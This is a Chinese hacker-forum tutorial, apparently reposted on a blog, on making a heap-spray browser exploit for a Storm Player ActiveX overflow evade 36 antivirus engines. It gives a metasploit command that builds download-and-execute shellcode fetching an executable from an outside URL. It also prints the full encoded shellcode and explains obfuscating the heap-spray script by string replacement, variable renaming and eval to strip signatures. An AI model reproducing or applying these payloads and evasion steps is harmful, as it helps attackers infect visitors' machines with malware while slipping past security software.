百度_黑客吧_heap spray型exploit免杀过36大杀软:
感觉heap spray型exploit免杀难?
看不懂就不好做免杀?
首先放下你的CCL,在这种exploit中杀软可不吃这套。
你可能说,过kapersky,Rising等只要把shellcode拆开,变量名全打乱就可以过了。
是我们要追求完美,要过virscan.org 36大杀软。Mcafee,Antivir,NOD32吃你这套吗?
就拿暴风影音stormplayer activeX 控件sparser.dll中rawParse方法的溢出exploit来做示范咯。
是2段scripts,首先删了第二段,也就是只留下shellcode跟object声明,然后传到virscan.org去。
是不是发现这段shellcode被杀了?
贴子相关图片:
作者: し掰搿嬲讎雠
2007-11-25 16:21 回复此发言
2 回复:heap spray型exploit免杀过36大杀软
方法一:利用shellcode encoder.
这里只是做示范,就不从提取shellcode讲起了 ..
OK,metasploit隆重登场!
OS:Ubuntu 7.10 x86_64 GNU/Linux Kernel 2.6.22
去www.metasploit下载一份metasploit 2.7,解压,切换目录:
shell:
knell@knell-FuZZer:~$ cd 桌面
knell@knell-FuZZer:~/桌面$ cd framework-2.7
knell@knell-FuZZer:~/桌面/framework-2.7$ ./msfpayload win32_downloadexec URL=http://d.thec.cn/knell/test.exe R | ./msfencode -t raw -b '\x00' -s 400 | ./code2 --utf-16 >fuck.txt
[*] Using Msf::Encoder::PexFnstenvMov with final size of 394 bytes
knell@knell-FuZZer:~/桌面/framework-2.7$
关于metasploit的用法,可以去官方网站找文档,这里不细说,Win32_downloadexec是 urldownloadtofileA+winexec简约型shellcode,所以不过HIPS等监控,这里只是示范...你完全可以自己提取个比较强的.. R是RAW格式,也就是原始数据,因为下一步要用msfencode压缩,所以要是RAW咯。 -t 是target..当然是raw 咯。 -b 意思是不包含"\00"....shellcode里出现\x00意味着什么我就不废话了..... -s 400 是最大长度。这里我没有指定具体encoder,这也是metasploit的灵活之处,自动选择了最符合要求的encoderPexFnstenvMov并压缩到了 394byte.接着的code2是一个编码转换器,作者荷兰人skylined,source:http://www.edup.tudelft.nl/~bjwever/src/beta.c
--utf-16当然就是unescape咯。
最后gedit fuck.txt ,里面就是压缩过的shellcode咯。因为encoder有N多种...所以不会被杀的,不信?把这段shellcode替换上,再传到virscan.org,是不是全bypass拉。
%u5d6a%ud959%ud9ee%u2474%u5bf4%u7381%u1f13%uabd1%u83de%ufceb%uf4e2%uc1f4%u94f1%u182c%u67cd%ud023%uea2b%u4815%u2449%ud4f4%u3543%u2ee0%uae54%u4853%u4732%u2cdc%u7793%u4886%ucc32%u44c6%u37b9%ue59a%u07b9%uc38e%uccea%u74f5%u33b9%u3098%ub431%u360d%u4412%uc37d%u537c%ua5b5%u1064%uc3d7%u440d%uc37d%u2dc0%u1188%ue1c1%u40f2%u186b%u8f05%u0236%ua164%u186b%uc3d8%uccff%u6cc0%u8431%ua957%u8631%u81b5%ucc54%uc38e%u5b74%u8b85%ua6f3%u4b84%uccf3%u4b86%uccf1%uc37c%uc4c5%u4640%u97b9%u4cec%uaf6b%u48d6%u4732%u8e05%u153f%ub7d0%ubb65%uc3dc%u2dea%u1187%u7ada%u4886%uc432%u5b40%u0164%u7606%u32b2%uc87c%uc704%ucbd8%u67de%u940d%u6758%ub7d5%uab65%u4c41%u1b31%u66e7%u8057%u4bc2%u3f36%u48e3%u7432%u1846%u1462%u18d0%u10cd%uc37a%u17ee%ub7d5%ub765%ub7d6%ub365%u88b5%uc29e%u3d46%u16cb%u1ed4%ub861%u1254%uec6b%ua664%u8701%ua045%ub814%ub779%u2275%u18f2%u2840%u09e5%u2356%u2df4%u3441%u0f86%u3357%u31d5%u3341%u25e3%u2e76%u2df4%u3351%u3ae9%u064b%u1f86%u295b%u30c3%u2457%u0d86%u2e4a%u1cf2%u355a%u29e3%u4756%u27ca%u2353%u21ca%u3550%u3ae7%u064b%u3d86%u2b40%u27eb%u475c%u1ad3%u037e%u3fe9%u2b5c%u29e9%u1356%u0ee9%u2b5b%u09e3%ub632%ua56b%ue4db%ufe30%uf0cf%ub96b%ubdce%ub231%uf1c5%ubf74%ub2ce%ufe73%ubbdf%ua56c%ubb85%ub467%ude2b
既然shellcode问题解决了,那么后面第二段script怎么改呢。
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
bigblock就是heap spray的关键所在,向高地址推送shellcode.
slackspace是20+shellcode长度。
那么可以这么变:
首先alert(shellcode.length),是不是得到shellcode长度了?
OK,slackspace的值就有咯。
那么当然要替换掉script中所有slackspace为得到的值。
var bigblock = unescape("%u9090%u9090");要怎么改呢。拆开,再unescape(XX+YY)?AntiVir的特征就在这一句,你杂拆都没用。那么就要混淆视听的拉。
var str = "%ua9a0a9aa0%au9a0a9a0";
var bigblock = unescape(str.replace(/a/g,""));
确实无聊的办法...但是这个特征就不见咯。
后面就简单了,把所有变量全部改名,
诸如block.length可以在上面的一步里alert然后改成值, buffer.length<4057,改成<4056+1,之类的,
buffer+="\x0a\x0a\x0a\x0a"改成
var temp = "\x0a\x0a\x0a\x0a"
buffer+=temp;
再replace几下,最后传到virscan.org,OK,36大杀软全过。
PS:你说有几句不能变?sb.rAWParse(zhen)都可以改成eval("sb.rAWParse(zhen)");.....
没有用到任何新鲜技术,我也只是在陈述一个道理:巧妙的思维能穿透看不懂的问题。
贴子相关图片:
Acronis Cyber Protect/Backup Remote Code Execution
-
The Acronis Cyber Protect appliance, in its default configuration, allows
the anonymous registration of new protect/backup agents on new endpoints.
This AP...
1 年前
没有评论:
发表评论